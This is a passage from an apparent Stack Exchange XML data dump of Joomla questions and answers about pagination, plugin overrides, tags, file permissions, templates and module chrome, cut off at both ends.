.= ':' . $this-&amp;gt;getState('filter.start_date_range');&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.end_date_range');&#xA;    $id .= ':' . $this-&amp;gt;getState('filter.relative_date');&#xA;&#xA;    return parent::getStoreId($id);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the two filter state you need to set states for are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $model-&amp;gt;setState('filter.date_filtering', $range);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI, it sounds like you are editing the core files directly; which is not recommended since any subsequent Joomla update could over write any customization.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps...&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2014-10-08T17:56:40.727" LastActivityDate="2014-10-08T17:56:40.727" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4682" PostTypeId="2" ParentId="4666" CreationDate="2014-10-06T22:05:46.780" Score="2" Body="&lt;p&gt;To determine the number of items you could simple use the following after the foreach loop to determine number of items and build out pagination navigation accordingly :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;If (count($items) &amp;gt; 20) {&#xA;&#xA;    // Determine current page index&#xA;    $index = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('pageIndex', 1, 'integer');&#xA;&#xA;    // pagination logic here&#xA;    $pagination = '';&#xA;    if ($index &amp;gt;= 2) {&#xA;&#xA;        // need before button, build link using index minus 1 and create link HTML&#xA;        $pagination .= &quot;&amp;lt;a href='&quot; . $previousLink . &quot;'&amp;gt;Previous&amp;lt;/a&amp;gt;&quot;;&#xA;&#xA;    }&#xA;&#xA;     // build after link using index plus 1 and create link HTML&#xA;    $pagination .= &quot;&amp;lt;a href='&quot; . $nextLink . '&quot;&amp;gt;Next&amp;lt;/a&amp;gt;&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this is untested and requires you to actually buildvthe links, but the core logic is there.  Hope this helps, good luck!&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-10-06T22:05:46.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4683" PostTypeId="2" ParentId="4675" CreationDate="2014-10-07T00:06:45.063" Score="2" Body="&lt;p&gt;The article pagination is handled by a content plugin called &lt;code&gt;pagenavigation&lt;/code&gt;, located in &lt;code&gt;ROOT/plugins/content/pagenavigation&lt;/code&gt;. The problem is that although &lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla#Plugin_Alternative_Layouts_.28overriding_a_plugin.29&quot; rel=&quot;nofollow&quot;&gt;Joomla allows for plugin overrides&lt;/a&gt;, most plugins don't support it, including this particular plugin. Either way, the code you have to change is in &lt;code&gt;pagenavigation.php&lt;/code&gt; in the aforementioned folder (at aprox. line #174):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the existing code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if ($location - 1 &amp;gt;= 0)&#xA;        {&#xA;            // The previous content item cannot be in the array position -1.&#xA;            $row-&amp;gt;prev = $rows[$location - 1];&#xA;        }&#xA;&#xA;        if (($location + 1) &amp;lt; count($rows))&#xA;        {&#xA;            // The next content item cannot be in an array position greater than the number of array postions.&#xA;            $row-&amp;gt;next = $rows[$location + 1];&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;With this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        if ($location - 1 &amp;gt;= 0)&#xA;        {&#xA;            // The previous content item cannot be in the array position -1.&#xA;            $row-&amp;gt;prev = $rows[$location - 1];&#xA;        } else {&#xA;            // Add button to return to last element&#xA;            $row-&amp;gt;prev = $rows[count($rows)-1];&#xA;        }&#xA;&#xA;        if (($location + 1) &amp;lt; count($rows))&#xA;        {&#xA;            // The next content item cannot be in an array position greater than the number of array postions.&#xA;            $row-&amp;gt;next = $rows[$location + 1];&#xA;        } else {&#xA;            // Add button to return to start&#xA;            $row-&amp;gt;next = $rows[0];&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I know, you have three ways to solve this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Edit the original file, as above. This is called a core hack, and not recommended, because your edits might be overwritten when you update Joomla. &lt;/li&gt;&#xA;&lt;li&gt;Create a new plugin based on the existing &lt;code&gt;plg_pagenavigation&lt;/code&gt;, and apply the edits. Then publish your new plugin and unpublish &lt;code&gt;pagenavigation&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the plugin compatible with plugin overrides by adding this code to &lt;code&gt;ROOT/plugins/content/pagenavigation/pagenavigation.php&lt;/code&gt;, right after &lt;code&gt;defined('_JEXEC') or die;&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$chromePath = JPATH_THEMES . '/' . JFactory::getApplication()-&amp;gt;getTemplate() . '/html/pagenavigation.php';&#xA;if (file_exists($chromePath))&#xA;require_once ($chromePath);&#xA;&#xA;if (!function_exists('plgContentNavigation')) {&#xA;  function plgContentNavigation( &amp;amp;$row, &amp;amp;$params, $page=0 )&#xA;  {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then this at the end of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will make Joomla look for the file &lt;code&gt;ROOT/templates/YOURTEMPLATE/html/pagenavigation.php&lt;/code&gt; and use it as override if it exists. It's still a core hack, but it might be easier to maintain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-07T00:06:45.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4684" PostTypeId="5" CreationDate="2014-10-07T00:30:02.567" Score="0" Body="&lt;h1&gt;Tags&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Joomla included built-in support for tags in April 2013, with the release of Joomla 3.1. &lt;a href=&quot;http://magazine.joomla.org/issues/issue-apr-2103/item/1225-joomla-tag-field&quot; rel=&quot;nofollow&quot;&gt;Key features&lt;/a&gt; are:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Multilanguage.&lt;/li&gt;&#xA;  &lt;li&gt;Nested tags structure.&lt;/li&gt;&#xA;  &lt;li&gt;Integrated in all the core content (using the first Unified Content Model approach seen in the core).&lt;/li&gt;&#xA;  &lt;li&gt;Selectable tag field mode (AJAX or nested).&lt;/li&gt;&#xA;  &lt;li&gt;On the fly tag creation.&lt;/li&gt;&#xA;  &lt;li&gt;Easily integration in any extension.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Usage&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Joomla tags can be used to search and display content. Tags can be created on-the-fly, or pre-defined. The default tag field behavior can be set in the global com_tags settings.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Tag field&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Extensions can define a tag field in the XML file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;tags&quot; type=&quot;tag&quot;&#xA;    label=&quot;JTAG&quot; description=&quot;JTAG_DESC&quot;&#xA;    class=&quot;inputbox span12 small&quot; multiple=&quot;true&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Joomla will automatically include any dependencies required.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Usefull links&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Introduction to the Tag Field - &lt;a href=&quot;http://magazine.joomla.org/issues/issue-apr-2103/item/1225-joomla-tag-field&quot; rel=&quot;nofollow&quot;&gt;http://magazine.joomla.org/issues/issue-apr-2103/item/1225-joomla-tag-field&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The New Tags Feature - &lt;a href=&quot;https://www.ostraining.com/blog/joomla/joomla-31-tags/&quot; rel=&quot;nofollow&quot;&gt;https://www.ostraining.com/blog/joomla/joomla-31-tags/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T16:19:25.810" LastActivityDate="2015-08-21T16:19:25.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4685" PostTypeId="4" CreationDate="2014-10-07T00:30:02.567" Score="0" Body="This tag is for questions regarding use of the tag system introduced in Joomla 3.1. " OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-07T05:20:40.660" LastActivityDate="2014-10-07T05:20:40.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4686" PostTypeId="1" AcceptedAnswerId="4687" CreationDate="2014-10-07T06:48:50.600" Score="7" ViewCount="6701" Body="&lt;p&gt;I have tried to save my FTP layer settings, in a Joomla website, and I received this error&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;0 Could not write to the configuration file&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Of course I can do it manually, using an FTP manager, or the hosting's file manager.&lt;/p&gt;&#xA;&lt;p&gt;But what is the cause of this problem?&lt;/p&gt;&#xA;&lt;p&gt;And the problem is, Joomla can't write any data to &lt;code&gt;configuration.php&lt;/code&gt; file.&lt;/p&gt;&#xA;&lt;p&gt;And what is the solution?&lt;/p&gt;&#xA;&lt;p&gt;Joomla's Version:3.x&lt;/p&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="9485" LastEditDate="2022-11-30T10:57:44.793" LastActivityDate="2022-11-30T10:57:44.793" Title="Error 0 Could not write to the configuration file,&quot;Joomla can't write any data to configuration.php file&quot;" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="4687" PostTypeId="2" ParentId="4686" CreationDate="2014-10-07T06:51:33.363" Score="5" Body="&lt;p&gt;Same issue as your last question I believe. Permissions issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to make sure that the &lt;em&gt;configuration.php&lt;/em&gt; which is a file, is set to &lt;strong&gt;644&lt;/strong&gt; in regards to permissions, before you edit it. If this doesn't work, try &lt;strong&gt;temporarily&lt;/strong&gt; making it &lt;strong&gt;777&lt;/strong&gt; and then reverting it back once you have made your changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-07T06:51:33.363" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4688" PostTypeId="2" ParentId="1170" CreationDate="2014-10-07T11:21:12.847" Score="1" Body="&lt;p&gt;I will try to answer this, more in a general sense, not specific to easy-profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code responsible to sending the email is located in the &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_users/models/registration.php#L75&quot; rel=&quot;nofollow&quot;&gt;registration&lt;/a&gt; model. You can hack that, but it would just be the wrong approach. In order to hack it you need to change two things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Language string: COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_BODY to include a new string %s what you later provide with sprintf.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You need to get somehow the data that your extension saves. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Basically it is very hard to customize this without hacking things, as there are no plugins that are called from here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach would be to replace the whole Joomla mailer. &lt;a href=&quot;https://www.acyba.com/acymailing/362-acymailing-joomlanotification.html&quot; rel=&quot;nofollow&quot;&gt;AcyMailing&lt;/a&gt; seems to offer something in this direction, I cannot say more. &lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-10-07T11:21:12.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4689" PostTypeId="2" ParentId="3752" CreationDate="2014-10-07T11:29:38.457" Score="3" Body="&lt;p&gt;To load the session you need to get it from &lt;code&gt;JFactory&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$session = JFactory::getSession();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Read more on &lt;a href=&quot;http://docs.joomla.org/How_to_access_session_variables_set_by_an_external_script&quot; rel=&quot;nofollow&quot;&gt;How to access session variables set by an external script.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-10-07T11:42:41.830" LastActivityDate="2014-10-07T11:42:41.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4691" PostTypeId="1" CreationDate="2014-10-07T18:51:21.733" Score="1" ViewCount="518" Body="&lt;p&gt;Hello I have joomla website running lastest vesion 3.3.6 I think. But today suddenly while posting new articles the website got offline. When I try to open the website only blank page is shown, the same is when I try to open /administrator section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website is: &lt;a href=&quot;http://radio-pendimi.com/website&quot; rel=&quot;nofollow&quot;&gt;Radio Pendimi&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some time the &lt;strong&gt;Page is not avalaible&lt;/strong&gt; message is shown&lt;/p&gt;&#xA;" OwnerUserId="1996" LastEditorUserId="1629" LastEditDate="2014-12-17T01:57:08.370" LastActivityDate="2014-12-17T08:41:26.027" Title="My joomla 3.x website went down and I can't re-run it" Tags="|joomla-3.x|server|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4692" PostTypeId="1" CreationDate="2014-10-07T18:54:31.377" Score="2" ViewCount="115" Body="&lt;p&gt;Why does the following code return two spaces instead of one tab?&#xA;How can I change this setting easily?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$tab = $document-&amp;gt;_getTab();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.joomla.org/cms-3/classes/JDocument.html&quot; rel=&quot;nofollow&quot;&gt;reference&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="159" LastEditDate="2014-10-09T07:38:22.767" LastActivityDate="2015-05-21T13:20:48.013" Title="_getTab() returns spaces" Tags="|joomla-3.x|jfactory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4693" PostTypeId="2" ParentId="4691" CreationDate="2014-10-07T18:57:45.960" Score="1" Body="&lt;p&gt;Just performed a test on here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.isitdownrightnow.com&quot; rel=&quot;nofollow&quot;&gt;http://www.isitdownrightnow.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and is appears your website is completely down/the server isn't responding. Perhaps you hosting has come to an end due to not being paid or for another reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or it could possibly be that your hosting providers is having issues with their server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way, please contact your hosting provider.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-07T18:57:45.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4694" PostTypeId="2" ParentId="4692" CreationDate="2014-10-07T20:08:19.320" Score="2" Body="&lt;p&gt;If you read the method documentation, it is doing exactly what its supposed to.  Which is return the system default for the number of spaces a keyboard tab event contains. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the method as taken from JDocument class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Returns a string containing the unit for indenting HTML&#xA; *&#xA; * @return  string&#xA; *&#xA; * @since   11.1&#xA; */&#xA;public function _getTab()&#xA;{&#xA;    return $this-&amp;gt;_tab;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the class property for $_tab:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Tab string&#xA; *&#xA; * @var    string&#xA; * @since  11.1&#xA; */&#xA;public $_tab = &quot;\11&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the above and referencing the PHP Documents for Escape Sequences in text we see a reference to exact string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\11&#xA;might be a back reference, or another way of writing a tab&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can visit the below link for more info, but the method in question returns the PHP escape sequence for a tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/regexp.reference.escape.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/regexp.reference.escape.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1906" LastEditorUserId="1906" LastEditDate="2014-10-08T17:54:52.763" LastActivityDate="2014-10-08T17:54:52.763" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4695" PostTypeId="5" CreationDate="2014-10-07T20:26:06.640" Score="0" Body="&lt;p&gt;Because a new installation of Joomla is required, and all content, users, extensions etc. has to be migrated or moved to the new site.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="159" LastEditDate="2014-11-24T21:46:10.853" LastActivityDate="2014-11-24T21:46:10.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4696" PostTypeId="4" CreationDate="2014-10-07T20:26:06.640" Score="0" Body="This tag is for questions regarding migration from Joomla 1.5 to Joomla 2.5 or 3.x or from another CMS to Joomla." OwnerUserId="1629" LastEditorUserId="159" LastEditDate="2014-11-24T21:46:10.853" LastActivityDate="2014-11-24T21:46:10.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4697" PostTypeId="5" CreationDate="2014-10-07T20:31:37.173" Score="0" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This tag is for questions about upgrading within the same Joomla major version, or upgrading from Joomla 2.5 to 3. For questions about going from Joomla 1.5 to 2.5+, please use the Migration tag.&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="126" LastEditDate="2015-08-21T16:23:39.800" LastActivityDate="2015-08-21T16:23:39.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4698" PostTypeId="4" CreationDate="2014-10-07T20:31:37.173" Score="0" Body="This tag is for questions about upgrading within the same Joomla major version, or upgrading from Joomla 2.5 to 3. For questions about going from Joomla 1.5 to 2.5+, please use the Migration tag." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-10-08T05:53:46.957" LastActivityDate="2014-10-08T05:53:46.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4699" PostTypeId="2" ParentId="4410" CreationDate="2014-10-07T21:27:22.040" Score="2" Body="&lt;p&gt;In case someone's interested, this is how to put everything together:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file &lt;code&gt;templateOptions.xml&lt;/code&gt; I added this code (as suggested by FFrewin):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;mylogolink&quot; type=&quot;text&quot; default=&quot;&quot; label=&quot;logo link&quot; description=&quot;logo link&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in &lt;code&gt;/features/logo.php&lt;/code&gt;, replace this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;rt-logo-block&quot;&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo $gantry-&amp;gt;baseUrl; ?&amp;gt;&quot; id=&quot;rt-logo&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;rt-logo-block&quot;&amp;gt;&#xA;   &amp;lt;a href=&quot;&amp;lt;?php echo ($customlink != &quot;&quot; ? $this-&amp;gt;get('mylogolink') : $gantry-&amp;gt;baseUrl;) ?&amp;gt;&quot; id=&quot;rt-logo&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It simply checks if $customlink is empty or not. If it's empty, the default home link is used, if not, the given link is used.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-07T21:27:22.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4700" PostTypeId="1" AcceptedAnswerId="4720" CreationDate="2014-10-08T01:38:47.753" Score="1" ViewCount="1923" Body="&lt;p&gt;I just installed Joomla 3.0 and I'm not great at it. Here's what I'm looking for though. I give Joomla my YouTube channel's url or the url of it's RSS feed. When I do it checks this feed at a set interval constantly and forever in the future. If during one of these checks, it sees I have uploaded a new video it automattically updates so that the video is listed.&lt;/p&gt;&#xA;" OwnerUserId="1997" LastEditorUserId="1629" LastEditDate="2014-10-08T01:55:22.627" LastActivityDate="2014-10-09T13:30:09.237" Title="How to automatically import video from YouTube?" Tags="|joomla-3.x|content|rss|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4701" PostTypeId="1" AcceptedAnswerId="4702" CreationDate="2014-10-08T03:43:56.173" Score="-2" ViewCount="2068" Body="&lt;p&gt;Please visit this &lt;a href=&quot;http://naadiastrology.info/&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which template is used by this above site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to find solution.&lt;/p&gt;&#xA;" OwnerUserId="1993" LastEditorUserId="1629" LastEditDate="2014-10-14T17:19:16.330" LastActivityDate="2014-10-14T17:19:16.330" Title="Identify the template name in joomla site" Tags="|templates|fix-my-code|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4702" PostTypeId="2" ParentId="4701" CreationDate="2014-10-08T03:51:50.260" Score="1" Body="&lt;p&gt;Check this,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your template name is &lt;code&gt;corpoboost&lt;/code&gt; this can be easily figure out using page source of the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;/templates/corpoboost/css/template.css&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;other options is login to administartor of the site &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Extension -&gt; Template manager - &gt;check default site template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps..&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-10-08T03:51:50.260" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4705" PostTypeId="1" CreationDate="2014-10-08T06:09:27.253" Score="0" ViewCount="1018" Body="&lt;p&gt;The website I'm working on uses component K2 for Joomla 2.5. I need to display images from introtexts on category page with list of its articles but images don't appear because of word limit filter. How can I disable this only for K2 introtext? [not in global parameters of Joomla]&lt;/p&gt;&#xA;" OwnerUserId="1998" LastEditorUserId="126" LastEditDate="2015-09-22T12:24:13.517" LastActivityDate="2015-11-21T13:28:09.450" Title="How to disable Joomla k2 word limit for introtext" Tags="|joomla-2.5|extensions|k2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4706" PostTypeId="2" ParentId="4700" CreationDate="2014-10-08T06:41:34.067" Score="1" Body="&lt;p&gt;You're looking for the News Feed manager. Just go to the backend, load your youtube's rss url in the news feed manager, then create a menu item pointing to it.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2014-10-08T06:41:34.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4708" PostTypeId="1" AcceptedAnswerId="4709" CreationDate="2014-10-08T12:54:50.880" Score="-2" ViewCount="92" Body="&lt;p&gt;Please visit &lt;a href=&quot;http://naadiastrology.info/&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt;: in footer you can see &quot;online payment&quot;, If I click on &quot;online payment&quot;, it should go to some page, means if I click on &quot;online payment&quot;, it should open some page with some text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any queries.&lt;/p&gt;&#xA;" OwnerUserId="1993" LastEditorUserId="1629" LastEditDate="2014-10-08T17:18:41.503" LastActivityDate="2014-10-08T17:18:41.503" Title="Create new page in Joomla or add some text to existing page" Tags="|menu|" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-08T15:03:19.773" ContentLicense="CC BY-SA 3.0" />
  <row Id="4709" PostTypeId="2" ParentId="4708" CreationDate="2014-10-08T12:58:36.433" Score="0" Body="&lt;p&gt;It's not opening any page because it has a blank link. I'm not sure how you have set your footer up, put the links within it, should be pulled from the menu manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your menu manager, there will most likely be a menu called &quot;footer&quot;. Open it and you will see the desired menu item. Open that then you can set the type to whatever you wish. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you set the type to something such as a Single Article, then be sure to actually define that article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-08T12:58:36.433" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4710" PostTypeId="1" AcceptedAnswerId="4711" CreationDate="2014-10-08T13:13:12.763" Score="2" ViewCount="127" Body="&lt;p&gt;I built my own custom form which is inside a Contact folder with the 755 permission. Since my email address is inside the contact.php should I change the permission to 700?&lt;/p&gt;&#xA;" OwnerUserId="1580" LastActivityDate="2014-10-08T13:19:30.240" Title="Ftp folder permission for a custum contact form" Tags="|joomla-2.5|form|file-permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4711" PostTypeId="2" ParentId="4710" CreationDate="2014-10-08T13:19:30.240" Score="2" Body="&lt;p&gt;No, all of your folders should be set to 755 and files should be set to 644.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Joomla, the only file that should ever need to be different (optional) is your configuration.php file which can be set to 444&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-08T13:19:30.240" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4712" PostTypeId="1" AcceptedAnswerId="4719" CreationDate="2014-10-08T15:04:10.327" Score="5" ViewCount="697" Body="&lt;p&gt;I have some trouble with my module chrome. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I rename the PHP &lt;code&gt;modules.php&lt;/code&gt; in &lt;code&gt;template/protostar/html&lt;/code&gt; to XXXmodules.php (or anything else, just to break the link), then all the pages on my website are working. &#xA;But if I leave &lt;code&gt;modules.php&lt;/code&gt; as it is, then some pages* are not accessible and I get a &lt;code&gt;This webpage is not available&lt;/code&gt; page. On the page that are working, my custom chrome &lt;code&gt;megarounded&lt;/code&gt; is working as it should. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bug also appears if I delete the content of the &lt;code&gt;modules.php&lt;/code&gt; or if I only leave: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Because I would like to have all the pages on my website accesible + the custom module , I am digging into the way custom chrome works, but except for the question of creating new custom chrome (which I lready know), I can't find any help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to understand how &lt;code&gt;protostar/index.php&lt;/code&gt; get the link to &lt;code&gt;modules.php&lt;/code&gt; so  I have tried to look for &lt;code&gt;modules.php&lt;/code&gt; in all the files of the folder &lt;code&gt;template/protostar&lt;/code&gt; but couldn't any link. I wonder how this modules.php get retrieved! Any idea?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Strangely the pages that don't work are the ones that don't have a module in there HTML loaded via loadposition or module anywhere from NoNumber. In brief, a page needs at the main article to load a module in order to work. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;EDIT: here is the content of my modules.php (but I doubt the error come from there as when I empty the content I still have the error, only renaming modules.php solve the error)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// no direct access&#xA;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;?php&#xA;function modChrome_megarounded($module, &amp;amp;$params, &amp;amp;$attribs)&#xA;{ ?&amp;gt;&#xA;        &amp;lt;div class=&quot;megamod module&amp;lt;?php 